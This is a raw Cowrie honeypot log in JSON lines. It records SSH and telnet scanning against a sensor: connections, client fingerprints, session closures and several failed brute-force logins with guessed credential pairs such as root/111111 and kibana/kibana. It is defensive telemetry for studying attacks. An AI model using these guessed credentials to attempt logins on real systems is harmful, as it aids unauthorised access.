{"eventid":"cowrie.session.closed","duration":34.51330518722534,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:07:41.239592Z","src_ip":"69.4.83.194","session":"c6b635d43ded","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.148.100.146","src_port":54028,"dst_ip":"159.203.135.109","dst_port":22,"session":"ead438dfdd87","protocol":"ssh","message":"New connection: 103.148.100.146:54028 (159.203.135.109:22) [session: ead438dfdd87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:07:43.537643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:07:43.541625Z","src_ip":"103.148.100.146","session":"ead438dfdd87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:07:43.815493Z","src_ip":"103.148.100.146","session":"ead438dfdd87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00168371200562,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:07:44.036925Z","src_ip":"79.139.59.21","session":"c1a00a828b90","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"123456","message":"login attempt [esuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:07:44.928845Z","src_ip":"103.148.100.146","session":"ead438dfdd87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:07:46.204208Z","src_ip":"103.148.100.146","session":"ead438dfdd87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.6.35.235","src_port":38290,"dst_ip":"159.203.135.109","dst_port":22,"session":"566cc5c0b7bc","protocol":"ssh","message":"New connection: 20.6.35.235:38290 (159.203.135.109:22) [session: 566cc5c0b7bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:07:47.571964Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:07:47.577467Z","src_ip":"20.6.35.235","session":"566cc5c0b7bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:07:49.342772Z","src_ip":"20.6.35.235","session":"566cc5c0b7bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.163580894470215,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:07:49.461422Z","src_ip":"69.4.83.194","session":"482abe1ab024","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456A","message":"login attempt [root/123456A] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:07:55.413827Z","src_ip":"20.6.35.235","session":"566cc5c0b7bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":36546,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1ae6b2e4eb0","protocol":"telnet","message":"New connection: 69.4.83.194:36546 (159.203.135.109:23) [session: a1ae6b2e4eb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:08:05.219093Z"}
{"eventid":"cowrie.session.closed","duration":"18.1","message":"Connection lost after 18.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:08:05.652740Z","src_ip":"20.6.35.235","session":"566cc5c0b7bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.221.248","src_port":36302,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e23a4d6e942","protocol":"ssh","message":"New connection: 69.6.221.248:36302 (159.203.135.109:22) [session: 6e23a4d6e942]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:08:07.291435Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:08:07.296452Z","src_ip":"69.6.221.248","session":"6e23a4d6e942","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:08:07.410141Z","src_ip":"69.6.221.248","session":"6e23a4d6e942","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"123456","message":"login attempt [esuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:08:07.897649Z","src_ip":"69.6.221.248","session":"6e23a4d6e942","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:08:09.014590Z","src_ip":"69.6.221.248","session":"6e23a4d6e942","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":25729,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b8bb4e21e11","protocol":"ssh","message":"New connection: 223.197.186.7:25729 (159.203.135.109:22) [session: 6b8bb4e21e11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:08:13.750173Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:08:13.755187Z","src_ip":"223.197.186.7","session":"6b8bb4e21e11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:08:14.098905Z","src_ip":"223.197.186.7","session":"6b8bb4e21e11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.174.185","src_port":38102,"dst_ip":"159.203.135.109","dst_port":22,"session":"ddd203921671","protocol":"ssh","message":"New connection: 167.172.174.185:38102 (159.203.135.109:22) [session: ddd203921671]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:08:14.504909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:08:14.510519Z","src_ip":"167.172.174.185","session":"ddd203921671","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:08:14.605631Z","src_ip":"167.172.174.185","session":"ddd203921671","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111","message":"login attempt [root/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:08:15.004653Z","src_ip":"167.172.174.185","session":"ddd203921671","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:08:15.226985Z","src_ip":"223.197.186.7","session":"6b8bb4e21e11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:08:16.104854Z","src_ip":"167.172.174.185","session":"ddd203921671","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:08:16.449598Z","src_ip":"223.197.186.7","session":"6b8bb4e21e11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.21.53.232","src_port":47372,"dst_ip":"159.203.135.109","dst_port":22,"session":"244840f0eaf4","protocol":"ssh","message":"New connection: 125.21.53.232:47372 (159.203.135.109:22) [session: 244840f0eaf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:08:20.069750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:08:20.074036Z","src_ip":"125.21.53.232","session":"244840f0eaf4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:08:20.274750Z","src_ip":"125.21.53.232","session":"244840f0eaf4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":53592,"dst_ip":"10.17.0.5","dst_port":22,"session":"acb782faa1b3","protocol":"ssh","message":"New connection: 62.133.62.83:53592 (10.17.0.5:22) [session: acb782faa1b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:08:20.421890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:08:20.426439Z","src_ip":"62.133.62.83","session":"acb782faa1b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:08:20.525895Z","src_ip":"62.133.62.83","session":"acb782faa1b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vika2005","message":"login attempt [root/vika2005] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:08:20.852766Z","src_ip":"62.133.62.83","session":"acb782faa1b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kibana","password":"kibana","message":"login attempt [kibana/kibana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:08:21.111604Z","src_ip":"125.21.53.232","session":"244840f0eaf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:08:21.936655Z","src_ip":"62.133.62.83","session":"acb782faa1b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:08:22.315328Z","src_ip":"125.21.53.232","session":"244840f0eaf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.10658836364746,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:08:38.325505Z","src_ip":"69.4.83.194","session":"a1ae6b2e4eb0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":35548,"dst_ip":"159.203.135.109","dst_port":22,"session":"237479f5c8f5","protocol":"ssh","message":"New connection: 103.176.20.57:35548 (159.203.135.109:22) [session: 237479f5c8f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:08:57.141493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:08:57.146280Z","src_ip":"103.176.20.57","session":"237479f5c8f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:08:57.401440Z","src_ip":"103.176.20.57","session":"237479f5c8f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cnhjbntkm","message":"login attempt [root/cnhjbntkm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:08:58.164434Z","src_ip":"103.176.20.57","session":"237479f5c8f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:08:59.421321Z","src_ip":"103.176.20.57","session":"237479f5c8f5","protocol":"ssh"}
